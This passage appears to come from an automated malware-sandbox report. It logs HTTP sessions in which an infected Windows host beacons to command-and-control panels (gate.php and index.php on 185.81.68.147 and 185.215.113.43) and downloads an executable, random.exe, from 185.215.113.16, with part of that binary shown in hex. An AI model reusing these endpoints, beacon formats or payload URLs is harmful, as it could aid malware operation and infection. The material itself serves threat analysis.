Dec 14, 2024 14:57:42.592772961 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 14, 2024 14:57:44.008853912 CET	711	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 66 36 66 36 30 32 35 66 35 35 66 37 38 39 37 65 64 61 37 62 63 65 33 32 35 31 38 61 64 32 63 39 31 32 66 32 63 31 38 34 65 63 62 66 33 34 66 62 64 35 66 65 39 36 63 31 65 30 66 62 65 37 66 36 37 33 2d 31 2d 5f 32 5f 64 62 63 63 63 39 36 31 35 36 32 64 66 35 61 39 35 64 38 36 37 64 63 65 36 32 32 37 63 38 66 65 39 65 36 63 63 63 61 61 38 34 65 64 39 33 33 37 66 63 61 61 65 38 64 30 66 62 38 39 38 32 65 39 62 61 32 36 36 37 38 39 62 33 30 38 36 61 38 33 39 38 38 61 2d 32 2d 5f 33 5f 61 37 65 36 63 36 31 32 32 39 35 64 64 36 62 61 37 30 63 63 30 63 62 62 33 36 37 62 62 35 61 64 63 36 31 64 65 36 66 31 38 30 65 64 38 32 33 66 61 33 66 38 64 66 61 35 66 66 66 64 65 30 65 37 63 34 31 35 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_daf6f6025f55f7897eda7bce32518ad2c912f2c184ecbf34fbd5fe96c1e0fbe7f673-1-_2_dbccc961562df5a95d867dce6227c8fe9e6cccaa84ed9337fcaae8d0fb8982e9ba266789b3086a83988a-2-_3_a7e6c612295dd6ba70cc0cbb367bb5adc61de6f180ed823fa3f8dfa5fffde0e7c415-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	50206	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:42.618794918 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:42.743354082 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:44.240838051 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	50208	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:44.246404886 CET	184	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 32 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 38 36 30 32 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10000860221&unit=246122658369
Dec 14, 2024 14:57:45.485817909 CET	201	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:44 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 20 3c 63 3e Data Ascii: <c>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	50212	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:44.482410908 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:44.610579014 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:46.232170105 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	50213	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:44.555151939 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:57:45.974019051 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	50214	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:46.465760946 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:46.639380932 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:48.254753113 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	50215	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:47.751538038 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:57:49.132492065 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.5	50216	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:47.896996975 CET	156	OUT	POST /7vhfjke3/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.81.68.147 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 14, 2024 14:57:49.305706978 CET	711	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:48 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 512 Content-Type: text/html; charset=UTF-8 Data Raw: 20 2b 2b 2b 5f 31 5f 64 61 66 36 66 36 30 32 35 66 35 35 66 37 38 39 37 65 64 61 37 62 63 65 33 32 35 31 38 61 64 32 63 39 31 32 66 32 63 31 38 34 65 63 62 66 33 34 66 62 64 35 66 65 39 36 63 31 65 30 66 62 65 37 66 36 37 33 2d 31 2d 5f 32 5f 64 62 63 63 63 39 36 31 35 36 32 64 66 35 61 39 35 64 38 36 37 64 63 65 36 32 32 37 63 38 66 65 39 65 36 63 63 63 61 61 38 34 65 64 39 33 33 37 66 63 61 61 65 38 64 30 66 62 38 39 38 32 65 39 62 61 32 36 36 37 38 39 62 33 30 38 36 61 38 33 39 38 38 61 2d 32 2d 5f 33 5f 61 37 65 36 63 36 31 32 32 39 35 64 64 36 62 61 37 30 63 63 30 63 62 62 33 36 37 62 62 35 61 64 63 36 31 64 65 36 66 31 38 30 65 64 38 32 33 66 61 33 66 38 64 66 61 35 66 66 66 64 65 30 65 37 63 34 31 35 2d 33 2d 5f 34 5f 61 66 65 31 39 34 33 33 30 63 35 63 63 39 38 66 34 30 64 35 37 39 39 66 33 36 32 30 61 33 64 62 65 30 33 37 63 31 65 32 66 62 63 33 39 35 34 31 38 63 64 63 63 32 38 31 65 66 66 35 63 30 39 64 63 64 37 30 2d 34 2d 5f 35 5f 64 66 38 64 64 64 32 35 31 36 36 61 65 36 62 63 36 38 38 [TRUNCATED] Data Ascii: +++_1_daf6f6025f55f7897eda7bce32518ad2c912f2c184ecbf34fbd5fe96c1e0fbe7f673-1-_2_dbccc961562df5a95d867dce6227c8fe9e6cccaa84ed9337fcaae8d0fb8982e9ba266789b3086a83988a-2-_3_a7e6c612295dd6ba70cc0cbb367bb5adc61de6f180ed823fa3f8dfa5fffde0e7c415-3-_4_afe194330c5cc98f40d5799f3620a3dbe037c1e2fbc395418cdcc281eff5c09dcd70-4-_5_df8ddd25166ae6bc688801a7046689e6fa0b90f1f4e4b67eb3ace0a4ef85f9e2ea2357a0a87c29b3cdfeb021529870fbff2545a5ed8b81c585c8bc733bec2141b47a9370c65b5e2cb9c202ac4b1ae864feec8d47224f0cce61822e259c2411-5-

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.5	50217	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:48.479902983 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:48.607285023 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:50.204305887 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:49 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	50219	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:50.432480097 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:50.552345991 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:51.926073074 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:51 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	50220	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:51.009670019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:57:52.340678930 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	50221	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:52.192770004 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:52.318758965 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:53.952815056 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:52 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.5	50223	82.64.156.123	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:53.857933998 CET	95	OUT	Data Raw: 16 03 01 00 5a 01 00 00 56 03 01 67 5d 8e e0 a7 82 54 be 03 e7 51 07 87 e5 a6 3c 66 08 b8 99 41 23 07 ae 13 1a 53 b5 bf b7 ef c8 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 1f 00 0a 00 08 00 06 00 1d 00 17 00 18 00 0b 00 02 01 00 Data Ascii: ZVg]TQ<fA#S5/#

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	50224	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:53.988590002 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 30 32 37 37 35 42 37 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB02775B75F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 14, 2024 14:57:55.342149973 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	50225	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:54.199675083 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:54.320350885 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:55.888616085 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:54 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	50226	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:55.138211966 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 14, 2024 14:57:56.479489088 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:55 GMT Content-Type: application/octet-stream Content-Length: 3026432 Last-Modified: Sat, 14 Dec 2024 13:02:19 GMT Connection: keep-alive ETag: "675d81db-2e2e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@2/@WkD1<1 @.rsrcD@.idata @fihjakvg ++@rlkpunhe1.@.taggant01".@
Dec 14, 2024 14:57:56.479532957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:56.479571104 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:56.479635954 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 14, 2024 14:57:56.479686022 CET	1236	IN	Data Raw: 85 71 36 89 36 1f 67 53 d7 52 4a 85 7a 56 c8 ef 27 fe ae 44 b0 ac 75 f7 48 cc d1 a9 45 30 c6 d4 e9 74 59 fe e6 34 42 c9 42 3b 2a c7 c6 4d 39 ed 96 3c 86 09 93 5a f5 73 e8 3d b6 58 40 9f c6 f3 c6 b0 1a b8 5e fb ea f4 38 7f c4 c6 06 3d fe ba 37 db Data Ascii: q66gSRJzV'DuHE0tY4BB;M9<Zs=X@^8=7T_}nV3(L+fEVJW&\|\|7CHE`Z&hh[XuY+EtUNXxCM5F74LwLet+<DBPf
Dec 14, 2024 14:57:56.479718924 CET	1236	IN	Data Raw: d5 70 9c 39 16 88 f6 86 2e 94 8a 0a 6e 0b 4c 0e a7 6e c2 1c 38 af 6a 91 b7 69 c6 14 cb b4 65 c9 b6 4e 1e c1 08 14 cf 7f c9 92 72 bc 9f 30 e6 98 1a cf 46 b4 40 7f cb c5 1e 2e 45 7c 45 9c 4a d5 e6 70 d0 b8 26 c4 80 e7 6a 83 c7 20 17 f3 aa a8 bc cd Data Ascii: p9.nLn8jieNr0F@.E\|EJp&j #YjD;C%@9=TF2$0e`B(,'}0BMQ/i$k$VqC96Mrk"Ip/EjmF-!Hm,1/3'ruo&/iB
Dec 14, 2024 14:57:56.479752064 CET	1236	IN	Data Raw: 53 47 6d 2d ff 45 6a 93 02 3b ef 4a 38 4d 8e f6 6d e3 58 e9 b1 c0 93 19 a6 56 9d 15 ef 3e 8e ce 13 ed 77 da 02 53 b9 a7 ee 9d ca 95 e5 d8 b3 86 d4 c4 6c 36 be 33 4c ba f7 14 5b c7 63 20 19 35 be 55 30 62 b8 d8 aa 94 1d d1 2e 97 fe 61 71 93 72 90 Data Ascii: SGm-Ej;J8MmXV>wSl63L[c 5U0b.aqrrm^s<&8s}Zuf"=G.^7_t}0_>4Z]p;h3mE%M_phKl_A Rc050k:Y DD1P VzxA
Dec 14, 2024 14:57:56.479784012 CET	1236	IN	Data Raw: 6d 16 c4 0e 39 d4 30 ba 2a 30 22 71 6e f6 f5 af 9e 61 3c a6 f4 e4 c8 74 38 b6 42 2c 19 7b 9f 13 23 38 99 0f 55 dc 1c a5 9b d8 62 f9 62 25 03 ad 3e ac d1 81 a9 92 c3 ca eb ab 3a 93 1d f3 ed 57 39 7e fd f7 34 b6 e1 0d 38 f0 d1 4f 01 57 93 ba ab 49 Data Ascii: m90*0"qna<t8B,{#8Ubb%>:W9~48OWIAiIx~,zQX\|auDz}_F(bnM0FX4CCd8Lu%(.hy)6&Up^"3&3IV^\|dPSN8t(gR&i<6_;/Gz
Dec 14, 2024 14:57:56.479818106 CET	1236	IN	Data Raw: c9 10 b9 48 68 ea d9 91 f2 17 aa a0 76 4d ce 38 cb 0e 05 1b 23 58 66 4e 79 0c 0b 7e 63 02 df 94 56 34 3e 93 1a 2d 2c 82 24 ed 36 b7 ce 47 66 91 ff 10 80 f1 53 6a ae ca 8d 2d 38 91 3c 45 78 d9 fa 4b 86 6b 4f fd dd 39 7f 7a ed f2 27 bc ad 85 51 0a Data Ascii: HhvM8#XfNy~cV4>-,$6GfSj-8<ExKkO9z'QAmj%j7Z3?VwS+HlblJ/-U.p\`y-Wq\|/nMpnV05hm$B)u#+<q,,Cd-V I2
Dec 14, 2024 14:57:56.479851961 CET	1236	IN	Data Raw: 2d 42 26 fe 34 7e 02 54 45 da 27 cc a0 bb 36 e8 7a 56 1b e1 fe f0 af 55 1a 1e c9 ea 97 12 38 a6 64 11 75 8d 5c f6 d6 0a 39 36 2e 0c 1d bc 34 08 a4 79 6a c9 42 3c a9 ac d8 b5 e0 cc d6 ff 0a 6f eb 04 b9 5c 16 42 cc d9 96 5b 9f 74 5e ff df 7c 85 88 Data Ascii: -B&4~TE'6zVU8du\96.4yjB<o\B[t^\|j&Z6ZQAGM6iWy< T)0vG\|IZ7d>zF.F2]Ja&_tIf4K q[8`q"qI1+2+$.]=1`
Dec 14, 2024 14:57:56.615936041 CET	1236	IN	Data Raw: 0e 6e e2 1d fd 76 ae 85 ab 72 a3 99 0e c0 32 a5 60 14 49 12 31 c5 ae 14 af 60 f0 b0 aa 04 b7 1c 97 95 c7 6c 2a 50 4a b4 d9 d2 3f 56 ed c4 36 3e be f3 ea 0c 2b 00 3b 0f 3f bd 0f ad 24 c0 fc aa c7 87 5b b7 60 18 f5 a9 b7 9d 5e 17 71 58 d7 38 5c 04 Data Ascii: nvr2`I1`l*PJ?V6>+;?$[`^qX8\oC>}r\LE'47tC9)Hyv8DN%5q\|-7>&TxGo&JY#7EenMN`9yV6'j'nlY,2A:;JzC

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	50227	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:56.133737087 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:56.254352093 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:57.787514925 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:56 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	50228	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:57.097362041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 14, 2024 14:57:58.438390017 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 14 Dec 2024 13:57:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	50230	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 14, 2024 14:57:58.028394938 CET	282	OUT	POST /tizhyf/gate.php?232B06DEE822786254513 HTTP/1.1 Host: 185.81.68.147 Pragma: no-cache Content-type: text/html Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.3 Content-Length: 4
Dec 14, 2024 14:57:58.148679018 CET	6	OUT	Data Raw: 16 50 0b 54 Data Ascii: PT
Dec 14, 2024 14:57:59.709780931 CET	216	IN	HTTP/1.1 200 OK Date: Sat, 14 Dec 2024 21:57:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	50231	185.81.68.147	80

Timestamp	Bytes transferred	Direction	Data
